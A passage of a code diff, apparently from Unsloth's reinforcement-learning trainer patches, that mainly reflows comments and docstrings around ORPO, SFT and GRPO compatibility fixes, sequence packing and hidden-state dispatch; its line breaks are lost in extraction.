orpo_trainer_text_tokenizer(function_name, function):if function_name == "build_tokenized_answer":function = re.sub(@@ -865,9 +804,7 @@ RL_FUNCTIONS["orpo_trainer"].append(orpo_trainer_text_tokenizer)RL_FUNCTIONS["cpo_trainer"].append(orpo_trainer_text_tokenizer)-# Resolve processing_class.pad_token_id through the inner tokenizer when a multimodal processor-# is supplied: processors lack pad_token_id, so ORPO/CPOTrainer.__init__ raises AttributeError-# in the collator and padding_value.+# Resolve processing_class.pad_token_id through the inner tokenizer when a multimodal processor is supplied: processors lack pad_token_id, so ORPO/CPOTrainer.__init__ raises AttributeError in the collator and padding_value._PAD_FALLBACK = ("(getattr(processing_class, 'pad_token_id', None) ""if getattr(processing_class, 'pad_token_id', None) is not None "@@ -878,9 +815,7 @@ _PAD_FALLBACK = (def orpo_trainer_processor_pad_token(function_name, function):if function_name != "__init__":return function- # Multimodal processors expose pad_token / eos_token on .tokenizer, not on themselves, and TRL- # 1.x CPO/ORPO __init__ defaults pad_token from eos_token before tokenizing. Older TRL lacks- # this block, so the sub is a no-op there.+ # Multimodal processors expose pad_token / eos_token on .tokenizer, not on themselves, and TRL 1.x CPO/ORPO __init__ defaults pad_token from eos_token before tokenizing. Older TRL lacks this block, so the sub is a no-op there.function = re.sub(r"(?m)^([ \t]*)if processing_class\.pad_token is None:\n"r"\1[ \t]+processing_class\.pad_token\s*=\s*processing_class\.eos_token\n",@@ -899,8 +834,7 @@ RL_FUNCTIONS["orpo_trainer"].append(orpo_trainer_processor_pad_token)RL_FUNCTIONS["cpo_trainer"].append(orpo_trainer_processor_pad_token)-# Fix the bare pop("push_to_hub_token") in the compiled SFT/IterativeSFT __init__: on-# transformers 5.0+ to_dict() no longer includes it, so a bare pop KeyErrors.+# Fix the bare pop("push_to_hub_token") in the compiled SFT/IterativeSFT __init__: on transformers 5.0+ to_dict() no longer includes it, so a bare pop KeyErrors.def sft_trainer_push_to_hub_token(function_name, function):if function_name != "__init__":return function@@ -912,38 +846,29 @@ def sft_trainer_push_to_hub_token(function_name, function):RL_FUNCTIONS["sft_trainer"].append(sft_trainer_push_to_hub_token)-# Autocast precision for GRPO.def _unsloth_grpo_autocast(self):- """Decide the GRPO autocast once and latch it on the trainer.-- ACCELERATE_MIXED_PRECISION is process wide, so a trainer built later but run- first would hand this trainer its precision. args belongs to this trainer.- """+ """Decide the GRPO autocast once and latch it on the trainer. ACCELERATE_MIXED_PRECISION is process wide, so a trainer built later but run first would hand this trainer its precision; args belongs to this trainer."""if not hasattr(self, "_autocast_enabled"):args = getattr(self, "args", None)precision = getattr(args, "mixed_precision", None)use_bf16 = getattr(args, "bf16", None)use_fp16 = getattr(args, "fp16", None)if not isinstance(precision, str):- # transformers < 5 has no args.mixed_precision, but rl.py sets the fp16 / bf16 flags on this- # same args for every branch it takes.+ # transformers < 5 has no args.mixed_precision, but rl.py sets the fp16 / bf16 flags on this same args for every branch it takes.if isinstance(use_bf16, bool) and isinstance(use_fp16, bool):precision = "bf16" if use_bf16 else ("fp16" if use_fp16 else "no")else:precision = os.environ.get("ACCELERATE_MIXED_PRECISION", "fp16")self._autocast_dtype = torch.float16 if precision == "fp16" else torch.bfloat16- # "no" is a real value: full finetuning and an explicit float32 load both set it, and reading- # it as bfloat16 raises on a T4 or V100.+ # "no" is a real value: full finetuning and an explicit float32 load both set it, and reading it as bfloat16 raises on a T4 or V100.self._autocast_enabled = precision != "no"self._autocast_force_float32 = False- # Stamped by from_pretrained: UNSLOTH_FORCE_FLOAT32 is process wide, so a model loaded after- # this trainer was built would answer for it here.+ # Stamped by from_pretrained: UNSLOTH_FORCE_FLOAT32 is process wide, so a model loaded after this trainer was built would answer for it here.forced = getattr(getattr(self, "model", None), "_unsloth_forced_float32", None)if forced is None:forced = os.environ.get("UNSLOTH_FORCE_FLOAT32", "0") == "1"if forced and precision != "bf16":- # Gemma3 / gpt-oss set "no" but still want float16 autocast; a trainer already on bf16 keeps- # it, since float16 is what the forced list avoids.+ # Gemma3 / gpt-oss set "no" but still want float16 autocast; a trainer already on bf16 keeps it, since float16 is what the forced list avoids.self._autocast_dtype = torch.float16self._autocast_enabled = Trueself._autocast_force_float32 = True@@ -957,8 +882,7 @@ def _unsloth_grpo_autocast_kwargs(self, device_type = "cuda"):if not getattr(self, "_autocast_force_float32", False) and torch.is_autocast_enabled(device_type):- # Already inside an autocast: inherit its dtype by omitting the key, since autocast passes- # whatever it gets to set_autocast_dtype.+ # Already inside an autocast: inherit its dtype by omitting the key, since autocast passes whatever it gets to set_autocast_dtype.return {"enabled": enabled}return {"enabled": enabled, "dtype": dtype}@@ -983,10 +907,8 @@ def grpo_trainer__prepare_inputs(function_name, function):RL_FUNCTIONS["grpo_trainer"].append(grpo_trainer__prepare_inputs)-# Guard reload_weights and sync_weights: skip when fast inference LoRA shares weights with-# vLLM (huggingface/trl commit 7856d3b).+# Guard reload_weights and sync_weights: skip when fast inference LoRA shares weights with vLLM (huggingface/trl commit 7856d3b).def _guard_vllm_sync_reload_for_shared_weights(function):- # Guard reload_weights - only call when not sharing weights with vLLMreload_weights_pattern = re.compile(r"^(?P<indent>[ \t]*)self\.llm\.collective_rpc\(\s*(['\"])reload_weights\2\s*\)\s*$",re.MULTILINE,@@ -1001,7 +923,6 @@ def _guard_vllm_sync_reload_for_shared_weights(function):function = reload_weights_pattern.sub(replace_reload_weights_line, function)- # Guard sync_weights - skip when sharing weights with vLLMsync_weights_block = re.compile(r"(?P<indent>[ \t]*)with profiling_context\(self,\s*(['\"])sync_weights\2\s*\):\n"r"(?P=indent)[ \t]+self\.vllm_generation\.sync_weights\(\)\n",@@ -1026,10 +947,7 @@ def grpo_trainer__generate_single_turn(function_name, function):function = _guard_vllm_sync_reload_for_shared_weights(function)- # TRL 0.24.0-0.25.1 truncation regression: 0.22.2-0.23.1 used truncate_with_protected_tokens- # (tokenize, keep the RIGHTMOST tokens, protect vision tokens), 0.24.0-0.25.1 passed- # max_length/truncation to the tokenizer, which protects nothing, and 0.26.2+ removed those- # kwargs. Dropping them makes 0.24.0-0.25.1 behave like 0.26.2+; a no-op elsewhere.+ # TRL 0.24.0-0.25.1 truncation regression: 0.22.2-0.23.1 used truncate_with_protected_tokens (tokenize, keep the RIGHTMOST tokens, protect vision tokens), 0.24.0-0.25.1 passed max_length/truncation to the tokenizer, which protects nothing, and 0.26.2+ removed those kwargs. Dropping them makes 0.24.0-0.25.1 behave like 0.26.2+; a no-op elsewhere.for pattern in [r'["\']?max_length["\']?\s*[:=]\s*self\.max_prompt_length\s*,\s*\n?',r'["\']?truncation["\']?\s*[:=]\s*True\s*,\s*\n?',@@ -1068,22 +986,18 @@ def grpo_trainer__generate(function_name, function):RL_FUNCTIONS["grpo_trainer"].append(grpo_trainer__generate)-# Older TRL mishandles special tokens: 0.19.0 passed skip_special_tokens = True where it-# should be False.+# Older TRL mishandles special tokens: 0.19.0 passed skip_special_tokens = True where it should be False.def grpo_trainer__generate_and_score_completions(function_name, function):if function_name != "_generate_and_score_completions":return function- # TRL 0.19.0 did skip_special_tokens = True which should be Falsefunction = function.replace("prompt_ids, skip_special_tokens=True, clean_up_tokenization_spaces=False","prompt_ids, skip_special_tokens=False, clean_up_tokenization_spaces=False",)- # Left pad the prompt before calculating old and ref hidden states.line_to_replace = 'batch_size = self.args.per_device_train_batch_size if mode == "train" else self.args.per_device_eval_batch_size'- # The new multi-line string that replaces the line above.replacement_lines = """max_left_pad = Nonebatch_size = self.args.per_device_train_batch_size if mode == "train" else self.args.per_device_eval_batch_size@@ -1125,8 +1039,7 @@ def grpo_trainer__generate_and_score_completions(function_name, function):re.DOTALL | re.MULTILINE,)- # sanitize_logprob is injected as a module-level function by the RLTrainer_replacement template- # in rl.py, so reference it directly.+ # sanitize_logprob is injected as a module-level function by the RLTrainer_replacement template in rl.py, so reference it directly.replacement_text = (r"\1all_logprobs = [\n"r"\1 [sanitize_logprob(next(iter(logprob.values()))) for logprob in output.logprobs]\n"@@ -1137,7 +1050,6 @@ def grpo_trainer__generate_and_score_completions(function_name, function):function, num_replacements = pattern_to_find.subn(replacement_text, function)- # Always between max_prompt_length and use_vllm.found = re.findall(r"\n(([ ]{8,})if self\.max_prompt_length is not None:.*?\2if self\.use_vllm:)",function,@@ -1175,8 +1087,7 @@ def grpo_trainer__generate_and_score_completions(function_name, function):if self.use_vllm:"""function = function.replace(replace_part, new_replacement)- # TRL's importance sampling is disabled because the LLM path moves left padding to the right,- # so Unsloth adjusts the vLLM sampling_logprob tensor itself.+ # TRL's importance sampling is disabled because the LLM path moves left padding to the right, so Unsloth adjusts the vLLM sampling_logprob tensor itself.string_to_find = "if self.use_vllm and self.vllm_importance_sampling_correction:"replacement_string = "if False and self.use_vllm and self.vllm_importance_sampling_correction:"@@ -1198,8 +1109,7 @@ def grpo_trainer__generate_and_score_completions(function_name, function):function = function.replace(string_to_find, replacement_string)- # TRL 0.24.0+ extracts prompts = [x["prompt"] for x in inputs], losing metadata like- # reasoning_effort, so inject code storing per-sample chat_template_kwargs on self.+ # TRL 0.24.0+ extracts prompts = [x["prompt"] for x in inputs], losing metadata like reasoning_effort, so inject code storing per-sample chat_template_kwargs on self._metadata_extraction = ("\n"" # Unsloth: Extract per-sample chat_template_kwargs before metadata is lost\n"@@ -1239,7 +1149,6 @@ def grpo_trainer__generate_and_score_completions(function_name, function):function = function.replace(string_to_find, replacement_string)if trl_version >= Version("0.24.0"):- # Replace the call using 'completions' with one using 'completions_text'.string_to_find = " rewards_per_func = self._calculate_rewards(inputs, prompts, completions, completion_ids_list)"replacement_string = (" if images is not None:\n"@@ -1268,7 +1177,6 @@ def grpo_trainer__generate_and_score_completions(function_name, function):matches = list(pattern.finditer(function))patched = function- # Generally there is only one match; the loop is to make sure none are missed.for match in reversed(matches):line = match.group(0)indent_match = re.match(r"(\s*)", line)@@ -1340,7 +1248,6 @@ def grpo_trainer__generate_and_score_completions(function_name, function):RL_FUNCTIONS["grpo_trainer"].append(grpo_trainer__generate_and_score_completions)-# Fix {"reasoning_effort" : "high"} not applieddef grpo_trainer_fix_maybe_apply_chat_template(function_name, function):spaces = function.find("def ")if spaces % 4 != 0:@@ -1409,7 +1316,6 @@ def grpo_trainer__move_model_to_vllm(function_name, function):RL_FUNCTIONS["grpo_trainer"].append(grpo_trainer__move_model_to_vllm)-# Edit _get_per_token_logps to handle mixed precision.def grpo_trainer__get_per_token_logps(function_name, function):if function_name != "_get_per_token_logps":return function@@ -1439,8 +1345,7 @@ def grpo_trainer__get_per_token_logps(function_name, function):logits_to_keep = logits_to_keep + 1,).logitsreturn logits- # transformers <= 4.48 does not support logits_to_keep, so drop the logits here; see- # huggingface/trl#2770.+ # transformers <= 4.48 does not support logits_to_keep, so drop the logits here; see huggingface/trl#2770.function = inspect.getsource(_get_per_token_logps)return function@@ -1453,7 +1358,6 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):if function_name != "_get_per_token_logps_and_entropies":return function- # Copied from the _get_per_token_logps replacement above; for now this returns None anyway.def _get_per_token_logps_and_entropies(self,model,@@ -1550,8 +1454,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):rows_per_image = image_grid_thw.prod(dim = -1)rows_per_sample = torch.split(rows_per_image, num_images)rows_per_sample = torch.stack([s.sum() for s in rows_per_sample])- # cum_rows is indexed via .item() inside the per-chunk loop, so keeping it on CPU avoids a- # per-iteration GPU->CPU sync.+ # cum_rows is indexed via .item() inside the per-chunk loop, so keeping it on CPU avoids a per-iteration GPU->CPU sync.cum_rows = torch.cat([torch.tensor([0], device = rows_per_sample.device),@@ -1586,7 +1489,6 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):mm_token_type_ids_chunks = []current_pixel_idx = 0- # TRL 0.23.0 batching logic.for start in range(0, total_samples, batch_size):end = min(start + batch_size, total_samples)@@ -1651,8 +1553,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):temperature = self.temperaturemodel_config = _unsloth_get_model_config(model)if detect_logit_transforms is not None:- # model_config, not model: under DDP/Accelerate `model` is a wrapper that does not forward- # .config, so the helper would report zeros.+ # model_config, not model: under DDP/Accelerate `model` is a wrapper that does not forward .config, so the helper would report zeros._transforms = detect_logit_transforms(model_config)logit_softcapping = _transforms["logit_softcapping"]logit_scale_multiply = _transforms["logit_scale_multiply"]@@ -1678,24 +1579,16 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):)os.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "1"- # Sequence packing (default on; UNSLOTH_GRPO_SEQ_PACKING=0 disables): one varlen [1, sum L]- # forward replaces the padded [B, Lmax] loop and fixes the left-pad RoPE error. Self-verified- # against the per-row forward, re-checked as T grows, and falls back if a backend ignores- # packed_seq_lengths.- # ---- Sequence packing (default-on; disable with UNSLOTH_GRPO_SEQ_PACKING=0) ----+ # Sequence packing (default on; UNSLOTH_GRPO_SEQ_PACKING=0 disables): one varlen [1, sum L] forward replaces the padded [B, Lmax] loop and fixes the left-pad RoPE error. Self-verified against the per-row forward, re-checked as T grows, and falls back if a backend ignores packed_seq_lengths.logprobs = None- # PrefixGrouper (GRPO shared-prompt dedup, default ON): G completions share the prompt, so- # storing it once behind a FlexAttention shared-prefix mask cuts the trunk forward from- # G*(P+R) to P+G*R tokens. Gated by UNSLOTH_GRPO_PREFIX_GROUPER, a tok_r auto-gate and a- # first-use self-verify, so a mask/isolation regression cannot ship silently.+ # PrefixGrouper (GRPO shared-prompt dedup, default ON): G completions share the prompt, so storing it once behind a FlexAttention shared-prefix mask cuts the trunk forward from G*(P+R) to P+G*R tokens. Gated by UNSLOTH_GRPO_PREFIX_GROUPER, a tok_r auto-gate and a first-use self-verify, so a mask/isolation regression cannot ship silently._pg_result = None_pg_use = False_pg_skip_pk = False # once a shape is PG-verified, skip the full-row forward_pg_forward_fn = None # deferred PG forward (runs at the verify site below)_pg_num_gen = getattr(self, "num_generations", None)- # Env gate hoisted to module level (mirrored via RL_PRE_ITEMS). Skip PG under vLLM: the rollout- # dominates the step, so PG saves little and its self-verify is net overhead.+ # Env gate hoisted to module level (mirrored via RL_PRE_ITEMS). Skip PG under vLLM: the rollout dominates the step, so PG saves little and its self-verify is net overhead._pg_engage = (UNSLOTH_GRPO_PREFIX_GROUPER_ONand not getattr(self, "use_vllm", False)@@ -1703,10 +1596,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):)if _pg_engage:try:- # Skip softcap models (the flex kernel never applies attn_logit_softcapping) and hybrid SSM /- # MoE models: only the threaded attention forwards get shared-prefix isolation, so a decoder- # that does not forward prefix_seg_info leaks suffixes across completions. PG also rides on- # sequence packing, so it needs the same zoo masked-column guard.+ # Skip softcap models (the flex kernel never applies attn_logit_softcapping) and hybrid SSM / MoE models: only the threaded attention forwards get shared-prefix isolation, so a decoder that does not forward prefix_seg_info leaks suffixes across completions. PG also rides on sequence packing, so it needs the same zoo masked-column guard._pg_cfg = getattr(unwrapped_model, "config", None)_pg_engage = (_pg_enabled_fn()@@ -1717,8 +1607,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):and _pg_num_gen is not Noneand _pg_num_gen >= 2and not getattr(_pg_cfg, "attn_logit_softcapping", None)- # Normal backends apply config.attention_dropout in training; the flex path is deterministic,- # so skip PG when it is set.+ # Normal backends apply config.attention_dropout in training; the flex path is deterministic, so skip PG when it is set.and not getattr(_pg_cfg, "attention_dropout", 0)and not any(getattr(_pg_cfg, _pg_a, None) is not None@@ -1797,8 +1686,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):_pg_r = _pg_r[:, -_pg_w:]return _pg_r- # Trust only within the verified envelope: re-verify when T or the longest segment grows, like- # the packed path.+ # Trust only within the verified envelope: re-verify when T or the longest segment grows, like the packed path._pg_T = int(_pg_layout.flat_ids.shape[1])_pg_maxseg = int(_pg_layout.position_ids.max()) + 1_pg_env = (@@ -1812,18 +1700,14 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):_pg_use = True_pg_skip_pk = Trueelse:- # Unverified shape: defer the forward until the packed reference exists, so a- # declined packed- # path never wastes a whole-batch PG forward.+ # Unverified shape: defer the forward until the packed reference exists, so a declined packed path never wastes a whole-batch PG forward._pg_forward_fn = _pg_run_forwardexcept Exception as _pg_err:_pg_result = None_pg_use = False_pg_skip_pk = False_pg_forward_fn = None- # A FlexAttention/Triton compile failure or OOM here is GPU-wide, not layout-specific, so- # retrying every step just re-pays it. Disable PG persistently; the packed/padded path below- # still gives the exact result.+ # A FlexAttention/Triton compile failure or OOM here is GPU-wide, not layout-specific, so retrying every step just re-pays it. Disable PG persistently; the packed/padded path below still gives the exact result.unwrapped_model._unsloth_prefix_grouper_nograd_disabled = Trueif isinstance(_pg_err, torch.cuda.OutOfMemoryError):torch.cuda.empty_cache()@@ -1834,10 +1718,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):flush = True,)- # Sequence packing (default on; UNSLOTH_GRPO_SEQ_PACKING=0 disables): one varlen- # block-diagonal forward replaces the padded loop exactly and fixes its left-pad RoPE error.- # Self-verified, re-checked as T grows, falls back if a backend ignores packed_seq_lengths, and- # lm_head runs on completion positions only.+ # Sequence packing (default on; UNSLOTH_GRPO_SEQ_PACKING=0 disables): one varlen block-diagonal forward replaces the padded loop exactly and fixes its left-pad RoPE error. Self-verified, re-checked as T grows, falls back if a backend ignores packed_seq_lengths, and lm_head runs on completion positions only._pk_result = None_pk_use = False_pk_enabled = UNSLOTH_GRPO_SEQ_PACKING_ON@@ -1877,8 +1758,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):_pk_unsafe = getattr(unwrapped_model, "_unsloth_seq_packing_nograd_unsafe_T", None)- # Cap the flattened forward at one padded [batch_size, seq_len] mini-batch's token budget;- # anything larger uses the chunked padded loop.+ # Cap the flattened forward at one padded [batch_size, seq_len] mini-batch's token budget; anything larger uses the chunked padded loop._pk_cap = batch_size * seq_lenif (_pk_T >= 2@@ -1888,7 +1768,6 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):and not (_pk_unsafe is not None and _pk_T >= _pk_unsafe)and (_pk_ok is True or _pk_active >= 2)):- # reset 0-based position_ids per segment_pk_pos = (_pk_keep.cumsum(dim = 1) - 1)[_pk_keep].unsqueeze(0)_pk_chunks = max(1, total_rows * multiplier)_pk_nz_idx = _pk_keep.nonzero(@@ -1930,8 +1809,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):temperature,)[0]else:- # Model returned logits directly - scaling/softcapping already applied by- # model forward+ # Model returned logits directly: scaling/softcapping already applied by the model forward._pk_sel = chunked_selective_log_softmax(_pk_out,_pk_ids,@@ -1951,8 +1829,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):.index_put((_pk_tgt,), _pk_sel.to(torch.float32)).view(total_rows, _pk_L)[:, -_pk_W:])- # Re-verify when T or the longest segment grows past the verified envelope; a LongRoPE cache- # switch can change the result.+ # Re-verify when T or the longest segment grows past the verified envelope; a LongRoPE cache switch can change the result._pk_vT = int(getattr(unwrapped_model, "_unsloth_seq_packing_nograd_verified_T", 0))@@ -1986,8 +1863,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):use_cache = False,).logits_pk_rout = _pk_rh[:, :-1, :]- # Hidden states or logits? Logits mean the forward already applied- # scaling/softcapping.+ # Hidden states or logits? Logits mean the forward already applied scaling/softcapping.if _unsloth_grpo_returns_hidden_states(unwrapped_model, _pk_rout, lm_head):@@ -2002,8 +1878,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):temperature,)[0]else:- # Model returned logits directly - scaling/softcapping already- # applied by model forward+ # Model returned logits directly: scaling/softcapping already applied by the model forward._pk_rsel = chunked_selective_log_softmax(_pk_rout,_pk_real[:, 1:],@@ -2029,9 +1904,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):# Kernel-noise floor is ~0.25; cross-sample contamination is >= 2.4.if _pk_diff < 7e-1:unwrapped_model._unsloth_seq_packing_nograd_ok = True- # Widen the trusted shape only when at least 2 completion rows exercised cross-- # sample packing;- # a single row proves nothing.+ # Widen the trusted shape only when at least 2 completion rows exercised cross-sample packing; a single row proves nothing.if _pk_active >= 2:unwrapped_model._unsloth_seq_packing_nograd_verified_T = max(_pk_vT, _pk_T@@ -2070,10 +1943,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):f"[Unsloth] GRPO sequence-packing (no-grad) disabled (fell back to padded): {_pk_err!r}",flush = True,)- # PrefixGrouper first-use self-verify (no-grad): compare the untrusted PG result to the packed- # result over the completion mask. Below tol_ok trust the structure, at or above TOL_KILL mark- # it unsafe forever, borderline falls back for this shape.- # ---- PrefixGrouper first-use self-verify (no-grad) ----+ # PrefixGrouper first-use self-verify (no-grad): compare the untrusted PG result to the packed result over the completion mask. Below tol_ok trust the structure, at or above TOL_KILL mark it unsafe forever, borderline falls back for this shape.if _pg_forward_fn is not None and not _pg_use:if _pk_use and _pk_result is not None:try:@@ -2140,7 +2010,6 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):logprobs = _pk_result # verified -> skip the loopzipped_inputs = []else:- # free packed intermediates before running the padded loop_pk_hidden = _pk_sel = _pk_result = _pk_ref = Nonewith _get_inference_mode_context_manager(model):@@ -2200,10 +2069,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):temperature = temperature,)else:- # Model returned logits directly - scaling/softcapping already applied by model- # forward- # Model returned logits directly - scaling/softcapping already applied by model- # forward+ # Model returned logits directly: scaling/softcapping already applied by the model forward.logprobs_chunk = chunked_selective_log_softmax(logits_chunk,completion_input_ids_chunk,@@ -2211,9 +2077,7 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):input_ids_chunk.shape[0] * multiplier,)else:- # VLMs do not take the optimized path in models/, so they never hit the Flash Attn- # left-padding- # issue.+ # VLMs do not take the optimized path in models/, so they never hit the Flash Attn left-padding issue.outputs = unwrapped_model(input_ids = input_ids_chunk,attention_mask = attention_mask_chunk,@@ -2259,18 +2123,14 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function):entropies = Noneos.environ["UNSLOTH_RETURN_HIDDEN_STATES"] = "0"- # aux loss is unused: off by default (router_aux_loss_coef = 0 in models/rl.py) and explicit- # opt-in is rejected at trainer init, so it is always None. Kept for TRL >= 1.7.0's 3-tuple.+ # aux loss is unused: off by default (router_aux_loss_coef = 0 in models/rl.py) and explicit opt-in is rejected at trainer init, so it is always None. Kept for TRL >= 1.7.0's 3-tuple.aux_loss = Nonereturn logprobs.detach(), entropies, aux_loss # logps, entropies, aux_loss- # transformers <= 4.48 does not support logits_to_keep, so drop the logits here; see- # huggingface/trl#2770.+ # transformers <= 4.48 does not support logits_to_keep, so drop the logits here; see huggingface/trl#2770.function = inspect.getsource(_get_per_token_logps_and_entropies)if trl_version < Version("1.7.0"):- # TRL < 1.7.0 unpacks (logps, entropies) while TRL >= 1.7.0 unpacks (logps, entropies,- # aux_loss), so drop the third element to match. The regex tolerates comment/whitespace drift- # and fails loud rather than ship a 3-tuple to older TRL.+ # TRL < 1.7.0 unpacks (logps, entropies) while TRL >= 1.7.0 unpacks (logps, entropies, aux_loss), so drop the third element to match. The regex tolerates comment/whitespace drift and fails loud rather than ship a 3-tuple to older TRL.new_function, n = re.subn(r"return (logprobs\.detach\(\), entropies), aux_loss[^\n]*",r"return \1 # logps, entropies",@@ -2298,13 +2158,7 @@ def _unsloth_get_model_config(model):def _unsloth_get_final_logit_softcapping(model):- """Return final_logit_softcapping for a model config, falling back to the- nested text sub-config for composite models. Handles both:- - Gemma-4-style configs where the attribute lives on ``config.text_config``- - T5Gemma-style composite configs where the text sub-config is only- reachable via ``config.get_text_config()``- Returns 0 if unset, matching the previous behaviour.- """+ """final_logit_softcapping for a model config, falling back to the nested text sub-config for composite models: Gemma-4-style configs keep it on ``config.text_config``, T5Gemma-style ones only reach it via ``config.get_text_config()``. Returns 0 if unset."""config = _unsloth_get_model_config(model)if config is None:return 0@@ -2326,34 +2180,11 @@ def _unsloth_get_final_logit_softcapping(model):def _unsloth_grpo_returns_hidden_states(model, tensor, lm_head):"""Does ``tensor`` (a forward's ``.logits``) carry hidden states or real logits?- ``_get_per_token_logps_and_entropies`` sets ``UNSLOTH_RETURN_HIDDEN_STATES=1``,- but only a forward that honours the name hands hidden states back as- ``.logits``; any other forward returns a real ``[.., vocab]`` tensor that must- not reach the ``lm_head`` matmul.-- Primary test is an explicit signal that the forward honours the flag. Two- exist, both set outside this file:-- * ``__UNSLOTH_SUPPORTS_RETURN_HIDDEN_STATES__`` on the generated class,- written by ``unsloth_zoo.compiler.create_standalone_class`` exactly when- ``apply_fused_lm_head`` gave that forward its own ``RETURN_HIDDEN_STATES``- branch.- * ``_unsloth_grpo_hidden_states_forward_wrapped``, set by- ``_install_grpo_hidden_states_forward_wrapper`` in ``unsloth/models/rl.py``- for models the compiler did not rewrite. That wrapper degrades to real- logits when the model cannot produce hidden states, and records whether- it did so in ``_unsloth_grpo_hidden_states_degraded`` before it returns,- so reading the pair after a forward describes the call that just- finished. Degradation is per call, not per model: a forward that splats- ``**kwargs`` into a sub-module only some inputs reach can reject the- request on one batch and honour it on the next.-- The width comparison stays as the fallback, for an ``unsloth_zoo`` old enough- that it never writes the marker. It is decisive on its own whenever- ``vocab_size != hidden_size``, and the signal is only allowed to overrule it- when it is not: a model with ``vocab_size == hidden_size`` produces real- logits that are the same width as its hidden states, which is the one case- the shape cannot answer.+ ``_get_per_token_logps_and_entropies`` sets ``UNSLOTH_RETURN_HIDDEN_STATES=1``, but only a forward that honours the name hands hidden states back as ``.logits``; any other forward returns a real ``[.., vocab]`` tensor that must not reach the ``lm_head`` matmul.++ The primary test is an explicit signal that the forward honours the flag, both set outside this file: ``__UNSLOTH_SUPPORTS_RETURN_HIDDEN_STATES__`` on the generated class, written by ``unsloth_zoo.compiler.create_standalone_class`` exactly when ``apply_fused_lm_head`` gave that forward its own branch; and ``_unsloth_grpo_hidden_states_forward_wrapped``, set by ``_install_grpo_hidden_states_forward_wrapper`` in ``unsloth/models/rl.py`` for models the compiler did not rewrite. That wrapper degrades to real logits when the model cannot produce hidden states and records whether it did so in ``_unsloth_grpo_hidden_states_degraded`` before returning, so reading the pair after a forward describes the call that just finished; degradation is per call, not per model.++ The width comparison stays as the fallback, for an ``unsloth_zoo`` old enough that it never writes the marker. It is decisive whenever ``vocab_size != hidden_size``, and the signal may only overrule it when it is not, which is the one case the shape cannot answer."""if tensor.shape[-1] != lm_head.shape[1]:return False # vocab-wide: real logits, whatever any signal claims@@ -2363,14 +2194,7 @@ def _unsloth_grpo_returns_hidden_states(model, tensor, lm_head):def _unsloth_grpo_hidden_states_signal(model):- """``True``/``False`` if the forward honours ``UNSLOTH_RETURN_HIDDEN_STATES``.-- ``None`` when neither marker is present, i.e. there is no signal to read.- See ``_unsloth_grpo_returns_hidden_states`` for where each marker is set.- Walks the wrapper chain because the markers are set on whichever object the- trainer saw, which may be the DDP module or the PEFT base model rather than- the object handed to the logprob loop.- """+ """``True``/``False`` if the forward honours ``UNSLOTH_RETURN_HIDDEN_STATES``, ``None`` when neither marker is present. See ``_unsloth_grpo_returns_hidden_states`` for where each marker is set. Walks the wrapper chain because the markers are set on whichever object the trainer saw, which may be the DDP module or the PEFT base model rather than the object handed to the logprob loop."""candidates = []pending = [model]while pending and len(candidates) < 8:@@ -2405,8 +2229,7 @@ def _unsloth_grpo_hidden_states_signal(model):getattr(candidate, "_unsloth_grpo_hidden_states_degraded", False)for candidate in candidates)- # An unsloth/models/rl.py predating the per-call attribute set only the warn-once flag; it is- # the best signal such a wrapper offers.+ # An unsloth/models/rl.py predating the per-call attribute set only the warn-once flag; it is the best signal such a wrapper offers.return not any(getattr(candidate, "_unsloth_grpo_hidden_states_warning_issued", False)for candidate in candidates@@ -2421,9 +2244,7 @@ _GRPO_HIDDEN_STATES_WIDTH_DISPATCH = re.compile(flags = re.MULTILINE,)-# Deliberately loose: any branch header deciding something off an lm_head dimension. Used only-# to count how many the strict pattern should have rewritten, so a zoo respelling SOME of them-# is rejected rather than half-patched.+# Deliberately loose: any branch header deciding something off an lm_head dimension. Used only to count how many the strict pattern should have rewritten, so a zoo respelling SOME of them is rejected rather than half-patched._GRPO_HIDDEN_STATES_WIDTH_DISPATCH_CANDIDATE = re.compile(r"^[ \t]*(?:el)?if[ \t]+[^\n]*\blm_head\.shape\[[^\]\n]+\][^\n]*:[ \t]*$",flags = re.MULTILINE,@@ -2431,25 +2252,7 @@ _GRPO_HIDDEN_STATES_WIDTH_DISPATCH_CANDIDATE = re.compile(def _patch_grpo_accumulated_loss_hidden_states_dispatch(function):- """Give zoo's gradient path the same model-aware dispatch as the no-grad path.-- ``grpo_accumulated_loss`` is embedded into the generated trainer with- ``inspect.getsource`` below. Zoo revisions with raw-logits support choose- between the two log-softmax helpers by comparing the forward output width- with ``lm_head.shape[1]``. That comparison is ambiguous for a square head,- so replace every such decision before embedding the function.-- The expression is intentionally limited to a named tensor's last dimension- against the lm_head input dimension. If zoo changes that contract entirely,- fail at trainer generation instead of silently restoring the wrong dispatch.-- Partial matches have to fail too. A zoo that respells only some of its- dispatches would still give this one match, which is enough to satisfy a- "did anything match?" check while the respelled sites keep deciding on width- alone -- silently wrong gradients again for a square ``lm_head``. So count- the branch headers that decide off an ``lm_head`` dimension before and after- substituting, and require that none survive.- """+ """Give zoo's gradient path the same model-aware dispatch as the no-grad path. ``grpo_accumulated_loss`` is embedded into the generated trainer with ``inspect.getsource`` below, and zoo revisions with raw-logits support choose between the two log-softmax helpers by comparing the forward output width with ``lm_head.shape[1]``, which is ambiguous 